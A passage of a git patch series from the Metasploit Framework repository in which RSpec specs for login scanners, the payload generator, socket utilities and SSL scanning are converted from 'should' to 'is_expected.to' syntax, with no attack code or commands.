StandardError } it 'should use ActiveModel::Errors#full_messages' do expect(model.errors).to receive(:full_messages).and_call_original diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index 60a1eb9b35..b2a29feb11 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -37,7 +37,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :windows_authentication } + it { is_expected.to respond_to :windows_authentication } context 'validations' do context '#windows_authentication' do diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb index fb22b6b1b3..67f0973f21 100644 --- a/spec/lib/metasploit/framework/login_scanner/result_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -20,11 +20,11 @@ RSpec.describe Metasploit::Framework::LoginScanner::Result do ) } - it { should respond_to :access_level } - it { should respond_to :credential } - it { should respond_to :proof } - it { should respond_to :status } - it { should respond_to :success? } + it { is_expected.to respond_to :access_level } + it { is_expected.to respond_to :credential } + it { is_expected.to respond_to :proof } + it { is_expected.to respond_to :status } + it { is_expected.to respond_to :success? } context '#success?' do context 'when the status code is success' do diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index 5240e5ae5e..de98f1c656 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -37,14 +37,14 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :smb_chunk_size } - it { should respond_to :smb_name } - it { should respond_to :smb_native_lm } - it { should respond_to :smb_native_os } - it { should respond_to :smb_obscure_trans_pipe_level } - it { should respond_to :smb_pad_data_level } - it { should respond_to :smb_pad_file_level } - it { should respond_to :smb_pipe_evasion } + it { is_expected.to respond_to :smb_chunk_size } + it { is_expected.to respond_to :smb_name } + it { is_expected.to respond_to :smb_native_lm } + it { is_expected.to respond_to :smb_native_os } + it { is_expected.to respond_to :smb_obscure_trans_pipe_level } + it { is_expected.to respond_to :smb_pad_data_level } + it { is_expected.to respond_to :smb_pad_file_level } + it { is_expected.to respond_to :smb_pipe_evasion } context 'validations' do context '#smb_verify_signature' do diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb index e0d57ccfb5..37d51d3c11 100644 --- a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -58,7 +58,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false - it { should respond_to :verbosity } + it { is_expected.to respond_to :verbosity } context 'validations' do diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb index 0c942b35c7..96bdeafa6f 100644 --- a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -9,8 +9,8 @@ RSpec.describe Metasploit::Framework::LoginScanner::Telnet do it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :banner_timeout } - it { should respond_to :telnet_timeout } + it { is_expected.to respond_to :banner_timeout } + it { is_expected.to respond_to :telnet_timeout } context 'validations' do context 'banner_timeout' do diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb index 7df8840d3a..7840702c27 100644 --- a/spec/lib/metasploit/framework/login_scanner_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -20,7 +20,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with name 'smb'" do let(:name) { 'smb' } - it { should include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } it { should_not include Metasploit::Framework::LoginScanner::HTTP } end @@ -28,7 +28,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with port #{foo}" do let(:port) { foo } - it { should include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } it { should_not include Metasploit::Framework::LoginScanner::HTTP } it { should_not include Metasploit::Framework::LoginScanner::VNC } end @@ -37,7 +37,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with name 'http'" do let(:name) { 'http' } - it { should include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } it { should_not include Metasploit::Framework::LoginScanner::SMB } it { should_not include Metasploit::Framework::LoginScanner::VNC } end @@ -46,9 +46,9 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with port #{foo}" do let(:port) { foo } - it { should include Metasploit::Framework::LoginScanner::HTTP } - it { should include Metasploit::Framework::LoginScanner::Axis2 } - it { should include Metasploit::Framework::LoginScanner::Tomcat } + it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.to include Metasploit::Framework::LoginScanner::Axis2 } + it { is_expected.to include Metasploit::Framework::LoginScanner::Tomcat } it { should_not include Metasploit::Framework::LoginScanner::SMB } end end diff --git a/spec/lib/msf/core/exe/segment_appender_spec.rb b/spec/lib/msf/core/exe/segment_appender_spec.rb index 02f95ab62e..0721f6265c 100644 --- a/spec/lib/msf/core/exe/segment_appender_spec.rb +++ b/spec/lib/msf/core/exe/segment_appender_spec.rb @@ -12,11 +12,11 @@ RSpec.describe Msf::Exe::SegmentAppender do end subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } - it { should respond_to :payload } - it { should respond_to :template } - it { should respond_to :arch } - it { should respond_to :processor } - it { should respond_to :buffer_register } + it { is_expected.to respond_to :payload } + it { is_expected.to respond_to :template } + it { is_expected.to respond_to :arch } + it { is_expected.to respond_to :processor } + it { is_expected.to respond_to :buffer_register } it 'should return the correct processor for the arch' do expect(injector.processor.class).to eq Metasm::Ia32 diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index a865c50f45..831042007c 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -12,11 +12,11 @@ RSpec.describe Msf::Exe::SegmentInjector do end subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } - it { should respond_to :payload } - it { should respond_to :template } - it { should respond_to :arch } - it { should respond_to :processor } - it { should respond_to :buffer_register } + it { is_expected.to respond_to :payload } + it { is_expected.to respond_to :template } + it { is_expected.to respond_to :arch } + it { is_expected.to respond_to :processor } + it { is_expected.to respond_to :buffer_register } it 'should return the correct processor for the arch' do expect(injector.processor.class).to eq Metasm::Ia32 diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index 86e54ecbe9..88d8515714 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -23,7 +23,7 @@ RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do describe '#generate_addon_xpi' do let(:xpi) { mod.generate_addon_xpi(cli) } - it { should respond_to :generate_addon_xpi } + it { is_expected.to respond_to :generate_addon_xpi } it 'should return an instance of Rex::Zip::Archive' do expect(xpi).to be_kind_of Rex::Zip::Archive diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index aa157ab88e..78f7fab6d1 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -68,22 +68,22 @@ RSpec.describe Msf::PayloadGenerator do described_class.new(generator_opts) } - it { should respond_to :add_code } - it { should respond_to :arch } - it { should respond_to :badchars } - it { should respond_to :cli } - it { should respond_to :encoder } - it { should respond_to :datastore } - it { should respond_to :format } - it { should respond_to :framework } - it { should respond_to :iterations } - it { should respond_to :keep } - it { should respond_to :nops } - it { should respond_to :payload } - it { should respond_to :platform } - it { should respond_to :space } - it { should respond_to :stdin } - it { should respond_to :template } + it { is_expected.to respond_to :add_code } + it { is_expected.to respond_to :arch } + it { is_expected.to respond_to :badchars } + it { is_expected.to respond_to :cli } + it { is_expected.to respond_to :encoder } + it { is_expected.to respond_to :datastore } + it { is_expected.to respond_to :format } + it { is_expected.to respond_to :framework } + it { is_expected.to respond_to :iterations } + it { is_expected.to respond_to :keep } + it { is_expected.to respond_to :nops } + it { is_expected.to respond_to :payload } + it { is_expected.to respond_to :platform } + it { is_expected.to respond_to :space } + it { is_expected.to respond_to :stdin } + it { is_expected.to respond_to :template } context 'when creating a new generator' do subject(:new_payload_generator) { -> { described_class.new(generator_opts) } } @@ -108,19 +108,19 @@ RSpec.describe Msf::PayloadGenerator do } } - it { should raise_error(KeyError, "key not found: :framework") } + it { is_expected.to raise_error(KeyError, "key not found: :framework") } end context 'when not given a payload' do let(:payload_reference_name) { nil } - it { should raise_error(ArgumentError, "Invalid Payload Selected") } + it { is_expected.to raise_error(ArgumentError, "Invalid Payload Selected") } end context 'when given an invalid payload' do let(:payload_reference_name) { "beos/meterpreter/reverse_gopher" } - it { should raise_error(ArgumentError, "Invalid Payload Selected") } + it { is_expected.to raise_error(ArgumentError, "Invalid Payload Selected") } end context 'when given a payload through stdin' do @@ -132,7 +132,7 @@ RSpec.describe Msf::PayloadGenerator do context 'when given an invalid format' do let(:format) { "foobar" } - it { should raise_error(ArgumentError, "Invalid Format Selected") } + it { is_expected.to raise_error(ArgumentError, "Invalid Format Selected") } end context 'when given any valid transform format' do diff --git a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb index 6886111674..f5fedf83c1 100644 --- a/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb +++ b/spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb @@ -8,9 +8,9 @@ RSpec.describe Rex::Payloads::Meterpreter::UriChecksum do subject(:dummy_object) { DummyClass.new } - it { should respond_to :generate_uri_checksum} - it { should respond_to :process_uri_resource} - it { should respond_to :uri_checksum_lookup} + it { is_expected.to respond_to :generate_uri_checksum} + it { is_expected.to respond_to :process_uri_resource} + it { is_expected.to respond_to :uri_checksum_lookup} describe '#process_uri_resource' do context 'when passed a value for INITW' do diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb index 933563f63d..006501d879 100644 --- a/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_spec.rb @@ -7,27 +7,27 @@ RSpec.describe Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry do context "with 'REG_BINARY'" do let(:type) { 'REG_BINARY' } - it { should eq(3) } + it { is_expected.to eq(3) } end context "with 'REG_DWORD'" do let(:type) { 'REG_DWORD' } - it { should eq(4) } + it { is_expected.to eq(4) } end context "with 'REG_EXPAND_SZ'" do let(:type) { 'REG_EXPAND_SZ' } - it { should eq(2) } + it { is_expected.to eq(2) } end context "with 'REG_MULTI_SZ'" do let(:type) { 'REG_MULTI_SZ' } - it { should eq(7) } + it { is_expected.to eq(7) } end context "with 'REG_NONE'" do let(:type) { 'REG_NONE' } - it { should eq(0) } + it { is_expected.to eq(0) } end context "with 'REG_SZ'" do let(:type) { 'REG_SZ' } - it { should eq(1) } + it { is_expected.to eq(1) } end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index fbcc00e53e..1ee093db9e 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -8,11 +8,11 @@ RSpec.describe Rex::RandomIdentifierGenerator do subject(:rig) { described_class.new(options) } - it { should respond_to(:generate) } - it { should respond_to(:[]) } - it { should respond_to(:get) } - it { should respond_to(:store) } - it { should respond_to(:to_h) } + it { is_expected.to respond_to(:generate) } + it { is_expected.to respond_to(:[]) } + it { is_expected.to respond_to(:get) } + it { is_expected.to respond_to(:store) } + it { is_expected.to respond_to(:to_h) } describe "#generate" do it "should respect :min_length" do diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index cd8965ca76..87c00d0062 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -6,21 +6,21 @@ RSpec.describe Rex::Socket::RangeWalker do let(:args) { "::1" } subject(:walker) { described_class.new(args) } - it { should respond_to(:length) } - it { should respond_to(:valid?) } - it { should respond_to(:each) } + it { is_expected.to respond_to(:length) } + it { is_expected.to respond_to(:valid?) } + it { is_expected.to respond_to(:each) } describe '.new' do context "with a hostname" do let(:args) { "localhost" } - it { should be_valid } + it { is_expected.to be_valid } it { expect(subject.length).to be >= 1 } end context "with a hostname and CIDR" do let(:args) { "localhost/24" } - it { should be_valid } + it { is_expected.to be_valid } it { expect(subject.length).to eq(256) } end @@ -36,7 +36,7 @@ RSpec.describe Rex::Socket::RangeWalker do context "with an IPv6 address range containing a scope" do let(:args) { "fe80::1%lo-fe80::100%lo" } - it { should be_valid } + it { is_expected.to be_valid } end it "should handle single ipv6 addresses" do @@ -54,9 +54,9 @@ RSpec.describe Rex::Socket::RangeWalker do context "with mulitple ranges" do let(:args) { "1.1.1.1-2 2.1-2.2.2 3.1-2.1-2.1 " } - it { should be_valid } + it { is_expected.to be_valid } it { expect(subject.length).to eq(8) } - it { should include("1.1.1.1") } + it { is_expected.to include("1.1.1.1") } end it "should handle ranges" do diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 82fb173712..6703cbda97 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -91,7 +91,7 @@ RSpec.describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["\x01\x01\x01\x01", "\x02\x02\x02\x02"] } - it { should be_a(String) } + it { is_expected.to be_a(String) } it "should return the first ASCII address" do expect(subject).to eq "1.1.1.1" end @@ -101,7 +101,7 @@ RSpec.describe Rex::Socket do let(:response_afamily) { Socket::AF_INET6 } let(:response_addresses) { ["\xfe\x80"+("\x00"*13)+"\x01", "\xfe\x80"+("\x00"*13)+"\x02"] } - it { should be_a(String) } + it { is_expected.to be_a(String) } it "should return the first ASCII address" do expect(subject).to eq "fe80::1" end @@ -111,7 +111,7 @@ RSpec.describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["1.1.1.1", "2.2.2.2"] } - it { should be_a(String) } + it { is_expected.to be_a(String) } it "should return the first ASCII address" do expect(subject).to eq "1.1.1.1" end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 0e547d0df8..656a001844 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -5,21 +5,21 @@ RSpec.describe Rex::SSLScan::Result do subject{Rex::SSLScan::Result.new} - it { should respond_to :accepted } - it { should respond_to :cert } - it { should respond_to :ciphers } - it { should respond_to :rejected } - it { should respond_to :sslv2 } - it { should respond_to :sslv3 } - it { should respond_to :standards_compliant? } - it { should respond_to :strong_ciphers } - it { should respond_to :supports_ssl? } - it { should respond_to :supports_sslv2? } - it { should respond_to :supports_sslv3? } - it { should respond_to :supports_tlsv1? } - it { should respond_to :supports_weak_ciphers? } - it { should respond_to :tlsv1 } - it { should respond_to :weak_ciphers } + it { is_expected.to respond_to :accepted } + it { is_expected.to respond_to :cert } + it { is_expected.to respond_to :ciphers } + it { is_expected.to respond_to :rejected } + it { is_expected.to respond_to :sslv2 } + it { is_expected.to respond_to :sslv3 } + it { is_expected.to respond_to :standards_compliant? } + it { is_expected.to respond_to :strong_ciphers } + it { is_expected.to respond_to :supports_ssl? } + it { is_expected.to respond_to :supports_sslv2? } + it { is_expected.to respond_to :supports_sslv3? } + it { is_expected.to respond_to :supports_tlsv1? } + it { is_expected.to respond_to :supports_weak_ciphers? } + it { is_expected.to respond_to :tlsv1 } + it { is_expected.to respond_to :weak_ciphers } context "with no values set" do it "should return nil for the cert" do diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index d7209bc24b..ea280b88c1 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -8,10 +8,10 @@ RSpec.describe Rex::SSLScan::Scanner do subject{Rex::SSLScan::Scanner.new("google.com", 443)} - it { should respond_to :host } - it { should respond_to :port } - it { should respond_to :timeout } - it { should respond_to :valid? } + it { is_expected.to respond_to :host } + it { is_expected.to respond_to :port } + it { is_expected.to respond_to :timeout } + it { is_expected.to respond_to :valid? } context "when validating the scanner config" do it "should return true when given a valid config" do diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb index 81065f8181..5dcf1ab5cc 100644 --- a/spec/support/matchers/query_the_database.rb +++ b/spec/support/matchers/query_the_database.rb @@ -10,8 +10,8 @@ module Shoulda # :nodoc: # * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. # # Examples: - # it { should query_the_database(4.times).when_calling(:complicated_counting_method) - # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { is_expected.to query_the_database(4.times).when_calling(:complicated_counting_method) + # it { is_expected.to query_the_database(4.times).or_less.when_calling(:generate_big_report) # it { should_not query_the_database.when_calling(:cached_count) # def query_the_database(times = nil) diff --git a/spec/support/shared/examples/credential/core/to_credential.rb b/spec/support/shared/examples/credential/core/to_credential.rb index 72cf69a76a..1a82a4ae20 100644 --- a/spec/support/shared/examples/credential/core/to_credential.rb +++ b/spec/support/shared/examples/credential/core/to_credential.rb @@ -8,7 +8,7 @@ shared_examples_for 'Metasploit::Credential::Core::ToCredential' do FactoryGirl.create(:metasploit_credential_core) end - it { should respond_to :to_credential } + it { is_expected.to respond_to :to_credential } it "should return a Metasploit::Framework::Credential" do expect( diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb index 798cbcbcf8..fd6d0d87d5 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb @@ -1,8 +1,8 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do subject(:http_scanner) { described_class.new } - it { should respond_to :uri } - it { should respond_to :method } + it { is_expected.to respond_to :uri } + it { is_expected.to respond_to :method } context "#set_sane_defaults" do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb index b3a4ee69e0..c7cff2d35d 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -54,12 +54,12 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | [ pub_blank, pub_pub, pub_pri] } - it { should respond_to :connection_timeout } - it { should respond_to :cred_details } - it { should respond_to :host } - it { should respond_to :port } - it { should respond_to :proxies } - it { should respond_to :stop_on_success } + it { is_expected.to respond_to :connection_timeout } + it { is_expected.to respond_to :cred_details } + it { is_expected.to respond_to :host } + it { is_expected.to respond_to :port } + it { is_expected.to respond_to :proxies } + it { is_expected.to respond_to :stop_on_success } context 'validations' do context 'port' do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb index e2e88cf173..c7fbe32c58 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb @@ -2,12 +2,12 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::NTLM' do subject(:login_scanner) { described_class.new } - it { should respond_to :send_lm } - it { should respond_to :send_ntlm } - it { should respond_to :send_spn } - it { should respond_to :use_lmkey } - it { should respond_to :use_ntlm2_session } - it { should respond_to :use_ntlmv2 } + it { is_expected.to respond_to :send_lm } + it { is_expected.to respond_to :send_ntlm } + it { is_expected.to respond_to :send_spn } + it { is_expected.to respond_to :use_lmkey } + it { is_expected.to respond_to :use_ntlm2_session } + it { is_expected.to respond_to :use_ntlmv2 } context 'validations' do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb index f3f958664a..0f6bcadb3b 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb @@ -1,7 +1,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::RexSocket' do subject(:login_scanner) { described_class.new } - it { should respond_to :ssl } - it { should respond_to :ssl_version } + it { is_expected.to respond_to :ssl } + it { is_expected.to respond_to :ssl_version } end diff --git a/spec/support/shared/examples/metasploit/framework/tcp/client.rb b/spec/support/shared/examples/metasploit/framework/tcp/client.rb index 9264d39643..961769f088 100644 --- a/spec/support/shared/examples/metasploit/framework/tcp/client.rb +++ b/spec/support/shared/examples/metasploit/framework/tcp/client.rb @@ -2,8 +2,8 @@ shared_examples_for 'Metasploit::Framework::Tcp::Client' do subject(:login_scanner) { described_class.new } - it { should respond_to :send_delay } - it { should respond_to :max_send_size } + it { is_expected.to respond_to :send_delay } + it { is_expected.to respond_to :max_send_size } context 'send_delay' do it 'is not valid for a non-number' do diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 5e56901547..b18151b911 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -1,5 +1,5 @@ shared_examples_for 'Msf::DBManager::Migration' do - it { should be_a Msf::DBManager::Migration } + it { is_expected.to be_a Msf::DBManager::Migration } context '#add_rails_engine_migration_paths' do @@ -122,8 +122,8 @@ shared_examples_for 'Msf::DBManager::Migration' do end context '#migrated' do - it { should respond_to :migrated } - it { should respond_to :migrated= } + it { is_expected.to respond_to :migrated } + it { is_expected.to respond_to :migrated= } end context '#reset_column_information' do diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index acf862bf52..d6462a7c98 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -225,7 +225,7 @@ shared_examples_for 'Msf::DBManager::Session' do }.to change(Mdm::Session, :count).by(1) end - it { should be_an Mdm::Session } + it { is_expected.to be_an Mdm::Session } it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session @@ -568,7 +568,7 @@ shared_examples_for 'Msf::DBManager::Session' do }.to change(Mdm::Session, :count).by(1) end - it { should be_an Mdm::Session } + it { is_expected.to be_an Mdm::Session } it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session @@ -995,7 +995,7 @@ shared_examples_for 'Msf::DBManager::Session' do false end - it { should be_nil } + it { is_expected.to be_nil } it 'should not create a connection' do expect(ActiveRecord::Base.connection_pool).not_to receive(:with_connection) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 77a76df998..3bb54848b6 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -44,7 +44,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_truthy } + it { is_expected.to be_truthy } end context 'without empty' do @@ -54,7 +54,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do } end - it { should be_falsey } + it { is_expected.to be_falsey } end end @@ -198,7 +198,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_falsey } + it { is_expected.to be_falsey } end context 'with true' do @@ -206,7 +206,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_truthy } + it { is_expected.to be_truthy } end end end @@ -216,7 +216,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_falsey } + it { is_expected.to be_falsey } end end @@ -317,7 +317,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_truthy } + it { is_expected.to be_truthy } end context 'without migrated' do @@ -325,7 +325,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_falsey } + it { is_expected.to be_falsey } end end @@ -334,7 +334,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do expect(framework).to receive(:db).and_return(nil) end - it { should be_falsey } + it { is_expected.to be_falsey } end end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 62bccbcd11..28309c5dca 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -1,5 +1,5 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do - it { should be_a Msf::Simple::Framework::ModulePaths } + it { is_expected.to be_a Msf::Simple::Framework::ModulePaths } context '#init_module_paths' do include_context 'Metasploit::Framework::Spec::Constants cleaner' From 3d64c52c9a2ef8d4f972381c1b253721e64d7f8f Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:25:03 -0500 Subject: [PATCH 1509/2172] it { should_not -> it { is_expected.not_to MSP-13484 --- spec/lib/metasploit/framework/login_scanner_spec.rb | 12 ++++++------ spec/lib/msf/core/payload_generator_spec.rb | 6 +++--- spec/lib/rex/socket/range_walker_spec.rb | 4 ++-- spec/support/matchers/query_the_database.rb | 2 +- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb index 7840702c27..fde65341ac 100644 --- a/spec/lib/metasploit/framework/login_scanner_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -21,7 +21,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do let(:name) { 'smb' } it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } - it { should_not include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::HTTP } end [ 139, 445 ].each do |foo| @@ -29,8 +29,8 @@ RSpec.describe Metasploit::Framework::LoginScanner do let(:port) { foo } it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } - it { should_not include Metasploit::Framework::LoginScanner::HTTP } - it { should_not include Metasploit::Framework::LoginScanner::VNC } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::VNC } end end @@ -38,8 +38,8 @@ RSpec.describe Metasploit::Framework::LoginScanner do let(:name) { 'http' } it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } - it { should_not include Metasploit::Framework::LoginScanner::SMB } - it { should_not include Metasploit::Framework::LoginScanner::VNC } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::VNC } end [ 80, 8080, 8000, 443 ].each do |foo| @@ -49,7 +49,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } it { is_expected.to include Metasploit::Framework::LoginScanner::Axis2 } it { is_expected.to include Metasploit::Framework::LoginScanner::Tomcat } - it { should_not include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.not_to include Metasploit::Framework::LoginScanner::SMB } end end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 78f7fab6d1..548bb801a1 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -126,7 +126,7 @@ RSpec.describe Msf::PayloadGenerator do context 'when given a payload through stdin' do let(:payload_reference_name) { "stdin" } - it { should_not raise_error } + it { is_expected.not_to raise_error } end context 'when given an invalid format' do @@ -138,13 +138,13 @@ RSpec.describe Msf::PayloadGenerator do context 'when given any valid transform format' do let(:format) { ::Msf::Simple::Buffer.transform_formats.sample } - it { should_not raise_error } + it { is_expected.not_to raise_error } end context 'when given any valid executable format' do let(:format) { ::Msf::Util::EXE.to_executable_fmt_formats.sample } - it { should_not raise_error } + it { is_expected.not_to raise_error } end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 87c00d0062..f5e4ae8047 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -26,12 +26,12 @@ RSpec.describe Rex::Socket::RangeWalker do context "with an invalid hostname" do let(:args) { "@!*^&.invalid-hostname-really." } - it { should_not be_valid } + it { is_expected.not_to be_valid } end context "with an 